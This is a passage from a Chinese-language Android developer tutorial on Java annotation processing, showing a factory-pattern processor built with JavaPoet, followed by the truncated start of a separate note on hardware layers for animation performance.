\n```java\npublic class PizzaStore {\n\n  private MealFactory factory = new MealFactory();\n\n  public Meal order(String mealName) {\n    return factory.create(mealName);\n  }\n\n  public static void main(String[] args) throws IOException {\n    PizzaStore pizzaStore = new PizzaStore();\n    Meal meal = pizzaStore.order(readConsole());\n    System.out.println(\"Bill: $\" + meal.getPrice());\n  }\n}\n\n```\n`MealFactory`的实现应该如下:   \n```java\npublic class MealFactory {\n\n  public Meal create(String id) {\n    if (id == null) {\n      throw new IllegalArgumentException(\"id is null!\");\n    }\n    if (\"Calzone\".equals(id)) {\n      return new CalzonePizza();\n    }\n\n    if (\"Tiramisu\".equals(id)) {\n      return new Tiramisu();\n    }\n\n    if (\"Margherita\".equals(id)) {\n      return new MargheritaPizza();\n    }\n\n    throw new IllegalArgumentException(\"Unknown id = \" + id);\n  }\n}\n```\n\n接下来我们要做的就是通过注解来生成`MealFactory`中的代码。\n想法是这样的：我们将使用同样的`type()`注解那些属于同一个工厂的类，并且用注解的`id()`做一个映射，例如从\"Calzone\"映射到\"ClzonePizza\"类。我们使用`@Factory`注解到我们的类中，如下：\n\n```java\n@Factory(\n    id = \"Margherita\",\n    type = Meal.class\n)\npublic class MargheritaPizza implements Meal {\n\n  @Override public float getPrice() {\n    return 6f;\n  }\n}\n```\n```java\n@Factory(\n    id = \"Calzone\",\n    type = Meal.class\n)\npublic class CalzonePizza implements Meal {\n\n  @Override public float getPrice() {\n    return 8.5f;\n  }\n}\n```\n```java\n@Factory(\n    id = \"Tiramisu\",\n    type = Meal.class\n)\npublic class Tiramisu implements Meal {\n\n  @Override public float getPrice() {\n    return 4.5f;\n  }\n}\n```\n\n你可能会问你自己，我们是否可以只把`@Factory`注解应用到`Meal`接口上？答案是注解是不能继承的。一个类`class X`被注解，并不意味着它的子类`class Y extends X`会自动被注解。在我们开始写处理器的代码之前，我们先规定如下一些规则：\n\n- 只有类可以被`@Factory`注解，因为接口或者抽象类并不能用`new`操作实例化；\n- 被`@Factory`注解的类，必须至少提供一个公开的默认构造器（即没有参数的构造函数）。否者我们没法实例化一个对象。\n- 被`@Factory`注解的类必须直接或者间接的继承于`type()`指定的类型；\n- 具有相同的`type`的注解类，将被聚合在一起生成一个工厂类。这个生成的类使用`Factory`后缀，例如`type = Meal.class`，将生成`MealFactory`工厂类；\n- `id`只能是`String`类型，并且在同一个`type`组中必须唯一。\n\n那我们接着看一下在`compiler module`中的自定义的`FactoryProcessor`类:    \n```java\n@AutoService(Processor.class)\npublic class FactoryProcessor extends AbstractProcessor {\n\n  private Types typeUtils;\n  private Elements elementUtils;\n  private Filer filer;\n  private Messager messager;\n  private Map<String, FactoryGroupedClasses> factoryClasses = new LinkedHashMap<String, FactoryGroupedClasses>();\n\n  @Override\n  public synchronized void init(ProcessingEnvironment processingEnv) {\n    super.init(processingEnv);\n    typeUtils = processingEnv.getTypeUtils();\n    elementUtils = processingEnv.getElementUtils();\n    filer = processingEnv.getFiler();\n    messager = processingEnv.getMessager();\n  }\n\n  @Override\n  public Set<String> getSupportedAnnotationTypes() {\n    Set<String> annotataions = new LinkedHashSet<String>();\n    // 指定支持@Factory注解\n    annotataions.add(Factory.class.getCanonicalName());\n    return annotataions;\n  }\n\n  @Override\n  public SourceVersion getSupportedSourceVersion() {\n    return SourceVersion.latestSupported();\n  }\n\n  @Override\n  public boolean process(Set<? extends TypeElement> annotations, RoundEnvironment roundEnv) {\n    ...\n  }\n}\n```\n\n在`init()`方法中，我们初始化了几个变量:   \n\n- `Elements`: 处理`Element`的工具类  \n- `Types`: 处理`TypeMirror`的工具类\n- `Filer`: 用来创建你要创建的文件\n- `Messager`:提供给注解处理器一个报告错误、警告以及提示信息的途径。\n\n在注解的处理过程中会扫描所有的`java`源文件。源代码中的每一个部分都是一个特定类型的`Element`。换句话说:`Element`代表程序的元素，例如包、类或者方法等。每个`Element`代表一个构建，例如通过下面的例子我们来说明一下:   \n```java\npackage com.example;    // PackageElement\n\npublic class Foo {        // TypeElement\n\n    private int a;      // VariableElement\n    private Foo other;  // VariableElement\n\n    public Foo () {}    // ExecuteableElement\n\n    public void setA (  // ExecuteableElement\n                     int newA   // TypeElement\n                     ) {}\n}\n```\n所以在注解中我们必须要换一个角度来看待源代码，它只是一个结构化的文本，我们可以像`XML`中的`DOM`一样去解析它。\n例如现在有一个代表`public class Foo`类的`TypeElement`元素，你可以遍历它的子元素，如下:   \n```java\nTypeElement fooClass = ... ;  \nfor (Element e : fooClass.getEnclosedElements()){ // iterate over children  \n    Element parent = e.getEnclosingElement();  // parent == fooClass\n}\n```\n正如你所见，`Element`代表的是源代码。`TypeElement`代表的是源代码中的类型元素，例如类。然而`TypeElement`并不包含类本身的信息。你可以从`TypeElement`中获取类的名字，但是你获取不到类的信息，例如它的父类。这种信息需要通过`TypeMirror`获取。你可以通过调用`elements.asType()`获取元素的`TypeMirror`。\n\n接下来我们来继续实现`process()`方法:   \n```java\n@AutoService(Processor.class)\npublic class FactoryProcessor extends AbstractProcessor {\n\n    private Types typeUtils;\n    private Elements elementUtils;\n    private Filer filer;\n    private Messager messager;\n\n    @Override\n    public synchronized void init(ProcessingEnvironment processingEnv) {\n        super.init(processingEnv);\n        typeUtils = processingEnv.getTypeUtils();\n        elementUtils = processingEnv.getElementUtils();\n        filer = processingEnv.getFiler();\n        messager = processingEnv.getMessager();\n    }\n\n    @Override\n    public Set<String> getSupportedAnnotationTypes() {\n        Set<String> annotataions = new LinkedHashSet<String>();\n        annotataions.add(Factory.class.getCanonicalName());\n        return annotataions;\n    }\n\n    @Override\n    public SourceVersion getSupportedSourceVersion() {\n        return SourceVersion.latestSupported();\n    }\n\n    @Override\n    public boolean process(Set<? extends TypeElement> annotations, RoundEnvironment roundEnv) {\n        // roundEnv.getElementsAnnotatedWith(Factory.class))返回所有被注解了@Factory的元素的列表。\n        // 你可能已经注意到，我们并没有说“所有被注解了@Factory的类的列表”，因为它真的是返回Element的列表。\n        // 请记住：Element可以是类、方法、变量等。所以，接下来，我们必须检查这些Element是否是一个类\n        for (Element annotatedElement : roundEnv.getElementsAnnotatedWith(Factory.class)) {\n            // Check if a class has been annotated with @Factory\n            if (annotatedElement.getKind() != ElementKind.CLASS) {\n                return false;\n            }\n        }\n\n        return false;\n    }\n}\n```\n\n在继续检查被注解`@Fractory`的类是否满足我们上面说的5条规则之前，我们将介绍一个让我们更方便继续处理的数据结构。有时候，一个问题或者解释器看起来如此简单，以至于程序员倾向于用一个面向过程方式来写整个处理器。但是你知道吗？一个注解处理器仍然是一个`Java`程序，所以我们需要使用面向对象编程、接口、设计模式，以及任何你将在其他普通`Java`程序中使用的技巧。\n\n我们的`FactoryProcessor`非常简单，但是我们仍然想要把一些信息存为对象。在`FactoryAnnotatedClass`中，我们保存被注解类的数据，比如合法的类的名字，以及`@Factory`注解本身的一些信息。也就是说每一个使用了`@Factory`注解的类都对应一个`FactoryAnnotatedClass`类，所以，我们保存`TypeElement`和处理过的`@Factory`注解：\n\n如下:  \n```java\npublic class FactoryAnnotatedClass {\n\n  private TypeElement annotatedClassElement;\n  private String qualifiedSuperClassName;\n  private String simpleTypeName;\n  private String id;\n\n  public FactoryAnnotatedClass(TypeElement classElement) throws IllegalArgumentException {\n    this.annotatedClassElement = classElement;\n    Factory annotation = classElement.getAnnotation(Factory.class);\n    id = annotation.id();\n\n    if (StringUtils.isEmpty(id)) {\n      throw new IllegalArgumentException(\n          String.format(\"id() in @%s for class %s is null or empty! that's not allowed\",\n              Factory.class.getSimpleName(), classElement.getQualifiedName().toString()));\n    }\n\n    // Get the full QualifiedTypeName\n    try {\n      Class<?> clazz = annotation.type();\n      // 返回底层阶级Java语言规范中定义的标准名称。\n      qualifiedSuperClassName = clazz.getCanonicalName();\n      simpleTypeName = clazz.getSimpleName();\n    } catch (MirroredTypeException mte) {\n      DeclaredType classTypeMirror = (DeclaredType) mte.getTypeMirror();\n      TypeElement classTypeElement = (TypeElement) classTypeMirror.asElement();\n      qualifiedSuperClassName = classTypeElement.getQualifiedName().toString();\n      simpleTypeName = classTypeElement.getSimpleName().toString();\n    }\n  }\n\n  /**\n   * 获取在{@link Factory#id()}中指定的id\n   * return the id\n   */\n  public String getId() {\n    return id;\n  }\n\n  /**\n   * 获取在{@link Factory#type()}指定的类型合法全名\n   *\n   * @return qualified name\n   */\n  public String getQualifiedFactoryGroupName() {\n    return qualifiedSuperClassName;\n  }\n\n\n  /**\n   * 获取在{@link Factory#type()}{@link Factory#type()}指定的类型的简单名字\n   *\n   * @return qualified name\n   */\n  public String getSimpleFactoryGroupName() {\n    return simpleTypeName;\n  }\n\n  /**\n   * 获取被@Factory注解的原始元素\n   */\n  public TypeElement getTypeElement() {\n    return annotatedClassElement;\n  }\n}\n```\n上面我们用到了`Class`,因为这里的类型是一个`java.lang.Class`。这就意味着，他是一个真正的`Class`对象。因为注解处理是在编译`Java`源代码之前。我们需要考虑如下两种情况：\n\n- 这个类已经被编译：这种情况是：如果第三方`.jar`包含已编译的被`@Factory`注解`.class`文件。在这种情况下，可以通过上面的方式在`try`代码块中直接获取。\n- 这个还没有被编译：这种情况是我们尝试编译被`@Fractory`注解的源代码。这种情况下，直接获取`Class`会抛出`MirroredTypeException`异常。幸运的是，`MirroredTypeException`包含一个`TypeMirror`，它表示我们未编译类。因为我们已经知道它必定是一个类类型（我们已经在前面检查过），我们可以直接强制转换为`DeclaredType`，然后读取`TypeElement`来获取合法的名字。\n\n\n好了，我们现在还需要一个数据结构类`FactoryGroupedClasses`，它将简单的组合所有的`FactoryAnnotatedClasses`到一起。\n```java\npublic class FactoryGroupedClasses {\n\n  private String qualifiedClassName;\n\n  private Map<String, FactoryAnnotatedClass> itemsMap =\n      new LinkedHashMap<String, FactoryAnnotatedClass>();\n\n  public FactoryGroupedClasses(String qualifiedClassName) {\n    this.qualifiedClassName = qualifiedClassName;\n  }\n\n  public void add(FactoryAnnotatedClass toInsert) throws IdAlreadyUsedException {\n\n    FactoryAnnotatedClass existing = itemsMap.get(toInsert.getId());\n    if (existing != null) {\n      throw new IdAlreadyUsedException(existing);\n    }\n\n    itemsMap.put(toInsert.getId(), toInsert);\n  }\n\n  public void generateCode(Elements elementUtils, Filer filer) throws IOException {\n    ...\n  }\n}\n```\n\n正如你所见，这是一个基本的`Map<String, FactoryAnnotatedClass>`，这个映射表用来映射`@Factory.id()`到`FactoryAnnotatedClass`。我们选择`Map`这个数据类型，是因为我们要确保每个`id`是唯一的，我们可以很容易通过`map`查找实现。`generateCode()`方法将被用来生成工厂类代码（将在后面讨论）。\n\n我们继续实现`process()`方法。接下来我们想要检查被注解的类必须有只要一个公开的构造函数，不是抽象类，继承于特定的类型，以及是一个公开类：\n\n```java\n\n@AutoService(Processor.class)\npublic class FactoryProcessor extends AbstractProcessor {\n\n    private Types typeUtils;\n    private Elements elementUtils;\n    private Filer filer;\n    private Messager messager;\n    private Map<String, FactoryGroupedClasses> factoryClasses =\n            new LinkedHashMap<String, FactoryGroupedClasses>();\n\n    @Override\n    public synchronized void init(ProcessingEnvironment processingEnv) {\n        super.init(processingEnv);\n        typeUtils = processingEnv.getTypeUtils();\n        elementUtils = processingEnv.getElementUtils();\n        filer = processingEnv.getFiler();\n        messager = processingEnv.getMessager();\n    }\n\n    @Override\n    public Set<String> getSupportedAnnotationTypes() {\n        Set<String> annotataions = new LinkedHashSet<String>();\n        annotataions.add(Factory.class.getCanonicalName());\n        return annotataions;\n    }\n\n    @Override\n    public SourceVersion getSupportedSourceVersion() {\n        return SourceVersion.latestSupported();\n    }\n\n    @Override\n    public boolean process(Set<? extends TypeElement> annotations, RoundEnvironment roundEnv) {\n        // roundEnv.getElementsAnnotatedWith(Factory.class))返回所有被注解了@Factory的元素的列表。\n        // 你可能已经注意到，我们并没有说“所有被注解了@Factory的类的列表”，因为它真的是返回Element的列表。\n        // 请记住：Element可以是类、方法、变量等。所以，接下来，我们必须检查这些Element是否是一个类\n        for (Element annotatedElement : roundEnv.getElementsAnnotatedWith(Factory.class)) {\n            // Check if a class has been annotated with @Factory\n            if (annotatedElement.getKind() != ElementKind.CLASS) {\n                error(annotatedElement, \"Only classes can be annotated with @%s\",\n                        Factory.class.getSimpleName());\n                return true; // 退出处理\n            }\n\n\n            // 因为我们已经知道它是ElementKind.CLASS类型，所以可以直接强制转换\n            TypeElement typeElement = (TypeElement) annotatedElement;\n\n            try {\n                FactoryAnnotatedClass annotatedClass =\n                        new FactoryAnnotatedClass(typeElement); // throws IllegalArgumentException\n\n                if (!isValidClass(annotatedClass)) {\n                    return true; // 已经打印了错误信息，退出处理过程\n                }\n\n                // 一旦我们检查isValidClass()成功，我们将添加FactoryAnnotatedClass到对应的FactoryGroupedClasses中\n                FactoryGroupedClasses factoryClass =\n                        factoryClasses.get(annotatedClass.getQualifiedFactoryGroupName());\n                if (factoryClass == null) {\n                    String qualifiedGroupName = annotatedClass.getQualifiedFactoryGroupName();\n                    factoryClass = new FactoryGroupedClasses(qualifiedGroupName);\n                    factoryClasses.put(qualifiedGroupName, factoryClass);\n                }\n\n                // 如果和其他的@Factory标注的类的id相同冲突，\n                // 抛出IdAlreadyUsedException异常\n                factoryClass.add(annotatedClass);\n            } catch (IllegalArgumentException e) {\n                // @Factory.id()为空 --> 打印错误信息\n                error(typeElement, e.getMessage());\n                return true;\n            } catch (IdAlreadyUsedException e) {\n                FactoryAnnotatedClass existing = e.getExisting();\n                // 已经存在\n                error(annotatedElement,\n                        \"Conflict: The class %s is annotated with @%s with id ='%s' but %s already uses the same id\",\n                        typeElement.getQualifiedName().toString(), Factory.class.getSimpleName(),\n                        existing.getTypeElement().getQualifiedName().toString());\n                return true;\n            }\n        }\n\n        // 为每个工厂生成Java文件\n        try {\n            for (FactoryGroupedClasses factoryClass : factoryClasses.values()) {\n                factoryClass.generateCode(elementUtils, filer);\n            }\n        // TODO ...注意这里会遗留一个问题，我们后面再仔细说。 \n        } catch (IOException e) {\n            error(null, e.getMessage());\n        }\n\n        return true;\n    }\n\n    private void error(Element e, String msg, Object... args) {\n        messager.printMessage(\n                Diagnostic.Kind.ERROR,\n                String.format(msg, args),\n                e);\n    }\n\n\n    private boolean isValidClass(FactoryAnnotatedClass item) {\n\n        // 转换为TypeElement, 含有更多特定的方法\n        TypeElement classElement = item.getTypeElement();\n\n        if (!classElement.getModifiers().contains(Modifier.PUBLIC)) {\n            error(classElement, \"The class %s is not public.\",\n                    classElement.getQualifiedName().toString());\n            return false;\n        }\n\n        // 检查是否是一个抽象类\n        if (classElement.getModifiers().contains(Modifier.ABSTRACT)) {\n            error(classElement, \"The class %s is abstract. You can't annotate abstract classes with @%\",\n                    classElement.getQualifiedName().toString(), Factory.class.getSimpleName());\n            return false;\n        }\n\n        // 检查继承关系: 必须是@Factory.type()指定的类型子类\n        TypeElement superClassElement =\n                elementUtils.getTypeElement(item.getQualifiedFactoryGroupName());\n        if (superClassElement.getKind() == ElementKind.INTERFACE) {\n            // 检查接口是否实现了\n            if(!classElement.getInterfaces().contains(superClassElement.asType())) {\n                error(classElement, \"The class %s annotated with @%s must implement the interface %s\",\n                        classElement.getQualifiedName().toString(), Factory.class.getSimpleName(),\n                        item.getQualifiedFactoryGroupName());\n                return false;\n            }\n        } else {\n            // 检查子类\n            TypeElement currentClass = classElement;\n            while (true) {\n                TypeMirror superClassType = currentClass.getSuperclass();\n\n                if (superClassType.getKind() == TypeKind.NONE) {\n                    // 到达了基本类型(java.lang.Object), 所以退出\n                    error(classElement, \"The class %s annotated with @%s must inherit from %s\",\n                            classElement.getQualifiedName().toString(), Factory.class.getSimpleName(),\n                            item.getQualifiedFactoryGroupName());\n                    return false;\n                }\n\n                if (superClassType.toString().equals(item.getQualifiedFactoryGroupName())) {\n                    // 找到了要求的父类\n                    break;\n                }\n\n                // 在继承树上继续向上搜寻\n                currentClass = (TypeElement) typeUtils.asElement(superClassType);\n            }\n        }\n\n        // 检查是否提供了默认公开构造函数\n        for (Element enclosed : classElement.getEnclosedElements()) {\n            if (enclosed.getKind() == ElementKind.CONSTRUCTOR) {\n                ExecutableElement constructorElement = (ExecutableElement) enclosed;\n                if (constructorElement.getParameters().size() == 0 && constructorElement.getModifiers()\n                        .contains(Modifier.PUBLIC)) {\n                    // 找到了默认构造函数\n                    return true;\n                }\n            }\n        }\n\n        // 没有找到默认构造函数\n        error(classElement, \"The class %s must provide an public empty default constructor\",\n                classElement.getQualifiedName().toString());\n        return false;\n    }\n\n}\n```\n\n我们这里添加了`isValidClass()`方法，来检查是否我们所有的规则都被满足了：\n\n- 必须是公开类：`classElement.getModifiers().contains(Modifier.PUBLIC)`\n- 必须是非抽象类：`classElement.getModifiers().contains(Modifier.ABSTRACT)`\n- 必须是`@Factoy.type()`指定的类型的子类或者接口的实现：首先我们使用`elementUtils.getTypeElement(item.getQualifiedFactoryGroupName())`创建一个传入的`Class(@Factoy.type())`的元素。是的，你可以仅仅通过已知的合法类名来直接创建`TypeElement`（使用`TypeMirror`）。接下来我们检查它是一个接口还是一个类：`superClassElement.getKind() == ElementKind.INTERFACE`。所以我们这里有两种情况：如果是接口，就判断`classElement.getInterfaces().contains(superClassElement.asType())`；如果是类，我们就必须使用`currentClass.getSuperclass()`扫描继承层级。注意，整个检查也可以使用`typeUtils.isSubtype()`来实现。\n- 类必须有一个公开的默认构造函数：我们遍历所有的闭元素`classElement.getEnclosedElements()`，然后检查`ElementKind.CONSTRUCTOR`、`Modifier.PUBLIC`以及`constructorElement.getParameters().size() == 0`。\n\n\n上面都实现完成后下面就是在`FactoryGroupedClasses.generateCode()`方法中去生成`java`文件了。   \n写`Java`文件，和写其他普通文件没有什么两样。使用`Filer`提供的`Writer`对象，我们可以连接字符串来写我们生成的`Java`代码。但是这样是不是非常麻烦啊？还好良心企业`Square`给我们提供了`Javapoet`，我们可以用它来非常简单的去生成`java`文件。那我们接下来就使用`javapoet`来去生成代码:   \n\n```java\npublic class FactoryGroupedClasses {\n\n    /**\n     * 将被添加到生成的工厂类的名字中\n     */\n    private static final String SUFFIX = \"Factory\";\n\n    private String qualifiedClassName;\n\n    private Map<String, FactoryAnnotatedClass> itemsMap =\n            new LinkedHashMap<String, FactoryAnnotatedClass>();\n\n    public FactoryGroupedClasses(String qualifiedClassName) {\n        this.qualifiedClassName = qualifiedClassName;\n    }\n\n    public void add(FactoryAnnotatedClass toInsert) throws ProcessingException {\n\n        FactoryAnnotatedClass existing = itemsMap.get(toInsert.getId());\n        if (existing != null) {\n\n            // Alredy existing\n            throw new ProcessingException(toInsert.getTypeElement(),\n                    \"Conflict: The class %s is annotated with @%s with id ='%s' but %s already uses the same id\",\n                    toInsert.getTypeElement().getQualifiedName().toString(), Factory.class.getSimpleName(),\n                    toInsert.getId(), existing.getTypeElement().getQualifiedName().toString());\n        }\n\n        itemsMap.put(toInsert.getId(), toInsert);\n    }\n\n    public void generateCode(Elements elementUtils, Filer filer) throws IOException {\n        TypeElement superClassName = elementUtils.getTypeElement(qualifiedClassName);\n        String factoryClassName = superClassName.getSimpleName() + SUFFIX;\n        String qualifiedFactoryClassName = qualifiedClassName + SUFFIX;\n        PackageElement pkg = elementUtils.getPackageOf(superClassName);\n        String packageName = pkg.isUnnamed() ? null : pkg.getQualifiedName().toString();\n\n        MethodSpec.Builder method = MethodSpec.methodBuilder(\"create\")\n                .addModifiers(Modifier.PUBLIC)\n                .addParameter(String.class, \"id\")\n                .returns(TypeName.get(superClassName.asType()));\n\n        // check if id is null\n        method.beginControlFlow(\"if (id == null)\")\n                .addStatement(\"throw new IllegalArgumentException($S)\", \"id is null!\")\n                .endControlFlow();\n\n        // Generate items map\n        for (FactoryAnnotatedClass item : itemsMap.values()) {\n            method.beginControlFlow(\"if ($S.equals(id))\", item.getId())\n                    .addStatement(\"return new $L()\", item.getTypeElement().getQualifiedName().toString())\n                    .endControlFlow();\n        }\n\n        method.addStatement(\"throw new IllegalArgumentException($S + id)\", \"Unknown id = \");\n\n        TypeSpec typeSpec = TypeSpec.classBuilder(factoryClassName).addMethod(method.build()).build();\n\n        // Write file\n        JavaFile.builder(packageName, typeSpec).build().writeTo(filer);\n    }\n}\n```\n\n到这里，我感觉完成了，运行一下，结果发现报错了:   \n```java\n:compiler:jar UP-TO-DATE\n:app:compileDebugJavaWithJavac\n错误: Attempt to recreate a file for type com.charon.annotationdemo.inter.MealFactory\n错误: Attempt to recreate a file for type com.charon.annotationdemo.inter.MealFactory\n2 个错误\nError:Execution failed for task ':app:compileDebugJavaWithJavac'.\n> Compilation failed; see the compiler error output for details.\n```\n\n那我们继续来解决这个问题，这个问题是由于循环引起的，我们还要处理一个重要的事情就是循环的问题:    \n\n注解处理可能会执行多次，官方文档中是这样介绍的:   \n\n> Annotation processing happens in a sequence of rounds. On each round, a processor may be asked to process a subset of the annotations found on the source and class files produced by a prior round. The inputs to the first round of processing are the initial inputs to a run of the tool; these initial inputs can be regarded as the output of a virtual zeroth round of processing.\n\n一个简单的定义：一个处理循环是调用一个注解处理器的`process()`方法。对应到我们的工厂模式的例子中：`FactoryProcessor`被初始化一次（不是每次循环都会新建处理器对象），然而，如果生成了新的源文件`process()`能够被调用多次。听起来有点奇怪不是么？原因是这样的，这些生成的文件中也可能包含`@Factory`注解，它们还将会被`FactoryProcessor`处理。\n\n例如我们的`PizzaStore`的例子中将会经过3次循环处理：\n\n| Round         | Input         | Output  |\n| ------------- |:-------------:| -----:|\n| 1             | CalzonePizza.java Tiramisu.java MargheritaPizza.java Meal.java   PizzaStore.java                  | MealFactory.java |\n| 2             | MealFactory.java      |   none |\n| 3             | none      |    none |\n\n会循环三次，但是第一次就会生成代码，所以上面会出现两次重复创建文件的错误。   \n\n解释处理循环还有另外一个原因。如果你看一下我们的`FactoryProcessor`代码你就能注意到，我们收集数据和保存它们在一个私有的域中`Map<String, FactoryGroupedClasses> factoryClasses`。在第一轮中，我们检测到了`MagheritaPizza`, `CalzonePizza`和`Tiramisu`，然后生成了`MealFactory.java`。在第二轮中把`MealFactory`作为输入。因为在`MealFactory`中没有检测到`@Factory`注解，我们预期并没有错误，然而我们得到如下的信息：\n\n```java\n:compiler:jar UP-TO-DATE\n:app:compileDebugJavaWithJavac\n错误: Attempt to recreate a file for type com.charon.annotationdemo.inter.MealFactory\n错误: Attempt to recreate a file for type com.charon.annotationdemo.inter.MealFactory\n2 个错误\nError:Execution failed for task ':app:compileDebugJavaWithJavac'.\n> Compilation failed; see the compiler error output for details.\n```\n\n这个问题是因为我们没有清除`factoryClasses`，这意味着，在第二轮的`process()`中，任然保存着第一轮的数据，并且会尝试生成在第一轮中已经生成的文件，从而导致这个错误的出现。在我们的这个场景中，我们知道只有在第一轮中检查`@Factory`注解的类，所以我们可以简单的修复这个问题，如下：\n```java\n@Override\npublic boolean process(Set<? extends TypeElement> annotations, RoundEnvironment roundEnv) {  \n    try {\n      for (FactoryGroupedClasses factoryClass : factoryClasses.values()) {\n        factoryClass.generateCode(elementUtils, filer);\n      }\n\n      // 清除factoryClasses\n      factoryClasses.clear();\n\n    } catch (IOException e) {\n      error(null, e.getMessage());\n    }\n    ...\n    return true;\n}\n```\n\n***我们要记住注解处理过程是需要经过多轮处理的，并且你不能重载或者重新创建已经生成的源代码。***\n\n\n\n好了，到这里就彻底完成了，运行一下，当然成功了，那生成的文件在哪里呢？ \n\n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/annotation_ato_create_file.png)     \n\n\n那既然能生成，我们该怎么去调用呢？很简单，像平常一样去用。\n```java\npublic class MainActivity extends AppCompatActivity {\n    private View view;\n\n    @Override\n    protected void onCreate(Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        setContentView(R.layout.activity_main);\n        view = findViewById(R.id.tv);\n        view.setOnClickListener(new View.OnClickListener() {\n            @Override\n            public void onClick(View v) {\n                MealFactory factory = new MealFactory();\n                factory.create(\"Calzone\");\n            }\n        });\n    }\n}\n```\n\n你可能会发现报错，找不到类，你可以不用管它，直接运行，你会发现一切都`OK`的。当然如果你倒错了包你就当我没说。\n\n作为`Android`开发者，当然应该很熟悉`ButterKnife`。在`ButterKnife`中使用`@InjectView`注解`View`。`ButterKnifeProcessor`生成一个`MyActivity$$ViewInjector`，但是在`ButterKnife`你不需要手动调用`new MyActivity$$ViewInjector()`来实例化一个`ButterKnife`注入的对象，而是使用`Butterknife.inject(activity)`。`ButterKnife`内部使用反射机制来实例化`MyActivity$$ViewInjector()`对象：\n\n```java\ntry {  \n    Class<?> injector = Class.forName(clsName + \"$$ViewInjector\");\n} catch (ClassNotFoundException e) { ... }\n```\n\n但是反射机制会稍微有些慢，我们使用注解处理来生成本地代码，会不会导致很多的反射性能的问题？的确，反射机制的性能确实是一个问题。然而，它不需要手动去创建对象，确实提高了开发者的开发速度。`ButterKnife`中有一个哈希表`HashMap`来缓存实例化过的对象。所以`MyActivity$$ViewInjector`只是使用反射机制实例化一次，第二次需要`MyActivity$$ViewInjector`的时候，就直接从哈希表中获得。\n\n`FragmentArgs`非常类似于`ButterKnife`。它使用反射机制来创建对象，而不需要开发者手动来做这些。`FragmentArgs`在处理注解的时候生成一个特别的查找表类，它其实就是一种哈希表，所以整个`FragmentArgs`库只是在第一次使用的时候，执行一次反射调用，一旦整个`Class.forName()`的`Fragemnt`的参数对象被创建，后面的都是本地代码运行了。\n\n好了至此例子讲完了。   \n\n最后讲一下按照上面的三层分类:`app`,`api`,`compiler`进行分类的好处。 \n我们这么做是因为想让我们的工厂模式的例子的使用者在他们的工程中只编译注解，而包含处理器模块只是为了编译。有点晕？我们举个例子，如果我们只有一个包。如果另一个开发者想要把我们的工厂模式处理器用于他的项目中，他就必须包含`@Factory`注解和整个`FactoryProcessor`的代码（包括`FactoryAnnotatedClass`和`FactoryGroupedClasses`）到他们项目中。我非常确定的是，他并不需要在他已经编译好的项目中包含处理器相关的代码。如果你是一个`Android`的开发者，你肯定听说过`65536`个方法的限制（即在一个`.dex`文件中，只能寻址65536个方法）。如果你在`FactoryProcessor`中使用`guava`，并且把注解和处理器打包在一个包中，这样的话，`Android APK`安装包中不只是包含`FactoryProcessor`的代码，而也包含了整个`guava`的代码。`Guava`有大约20000个方法。所以分开注解和处理器是非常有意义的。\n\n\n### 使用注解提高代码的检查性    \n\n`Google`提供了`Support-Annotations library`来支持更多的注解功能。   \n可以直接在`build.gradle`中添加如下代码:    \n\n```\ndependencies {\n    compile 'com.android.support:support-annotations:23.3.0'\n}\n```\n\n`Android`提供了很多注解来支持在方法、参数和返回值上面使用，例如:    \n\n- `@Nullable`       \n    可以为`null`\n- `@NonNull`        \n    不能为`null`  \n    ```java\n    import android.support.annotation.NonNull;\n    ...\n    \n        /** Add support for inflating the <fragment> tag. */\n        @NonNull\n        @Override\n        public View onCreateView(String name, @NonNull Context context,\n          @NonNull AttributeSet attrs) {\n          ...\n          }\n    ...\n    ```\n- `@StringRes`       \n    `R.string`类型的资源。  \n    ```java\n    import android.support.annotation.StringRes;\n    ...\n        public abstract void setTitle(@StringRes int resId);\n        ...\n    \n    遇到那种你写了个`setTitle(int resId)`他确给你传`setTitle(R.drawable.xxx)`的选手，用这种方式能很好的去提示下。 \n    ```\n- `@DrawableRes`       \n    `Drawable`类型的资源。\n- `@ColorRes`     \n    `Color`类型的资源。\n- `@InterpolatorRes`        \n    `Interpolatro`类型。\n- `@AnyRes`        \n    `R.`类型。\n- `@UiThread`         \n    从`UI thread`调用。 \n- `@RequiresPermission`        \n    来验证该方法的调用者所需要有的权限。检查一个列表中的任何一个权限可以使用`anyOf`属性。想要检查多个权限时，可以使用`allOf`属性。如下:  \n    ```java\n    @RequiresPermission(Manifest.permission.SET_WALLPAPER)\n    public abstract void setWallpaper(Bitmap bitmap) throws IOException;\n    ```\n    检查多个权限:   \n    \n    ```java\n    @RequiresPermission(allOf = {\n        Manifest.permission.READ_EXTERNAL_STORAGE,\n        Manifest.permission.WRITE_EXTERNAL_STORAGE})\n    public static final void copyFile(String dest, String source) {\n        ...\n    }\n    ```\n\n\n示例`Demo`已上传到`Github`:[AnnotationDemo](https://github.com/CharonChui/AnnotationDemo)    \n\n文中例子来自`Hannes Dorfmann`大神的`ANNOTATION PROCESSING 101`，我对其重新梳理了下，来让能正常使用，并且上面的示例已经过我实际运行:   \n- [Hannes Dorfmann](http://hannesdorfmann.com/annotation-processing/annotationprocessing101)\n        \n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! \n\n"
  },
  {
    "path": "docs/android/AndroidNote/AdavancedPart/通过Hardware Layer提高动画性能.md",
    "content": "通过Hardware Layer提高动画性能\n===\n\n项目中越来越多的动画，越来越多的效果导致了应用性能越来越低。该如何提升。   \n\n### 简介 \n\n在`View`播放动画的过程中每一帧都需要被重绘。如果使用`view layers`，就不用每帧都去重绘，因为`View`渲染一旦离开屏幕缓冲区就可以被重用。\n\n而且，`hardware layers`会在`GPU`上缓存，这样就会让一些动画过程中的操作变得更快。通过`hardware layers`可以快速的渲染一些简单的转变(位移、选中、缩放、颜色渐变)。由于很多动画都是这些动作的结合，所以`hardware layers`可以显著的提高动画性能。\n\n在`View`当中提供了三种类型的`Layer type`:    \n\n- LAYER_TYPE_HARDWARE\n    > Indicates that the view has a hardware layer. A hardware layer is backed by a hardware specific texture (generally Frame Buffer Objects or FBO on OpenGL hardware) and causes the view to be rendered using Android's hardware rendering pipeline, but only if hardware acceleration is turned on for the view hierarchy. When hardware acceleration is turned off, hardware layers behave exactly as software layers.\n\n    > A hardware layer is useful to apply a specific color filter and/or blending mode and/or translucency to a view and all its children.\n\n    > A hardware layer can be used to cache a complex view tree into a texture and reduce the complexity of drawing operations. For instance, when animating a complex view tree with a translation, a hardware layer can be used to render the view tree only once.\n\n    > A hardware layer can also be used to increase the rendering quality when rotation transformations are applied on a view. It can also be used to prevent 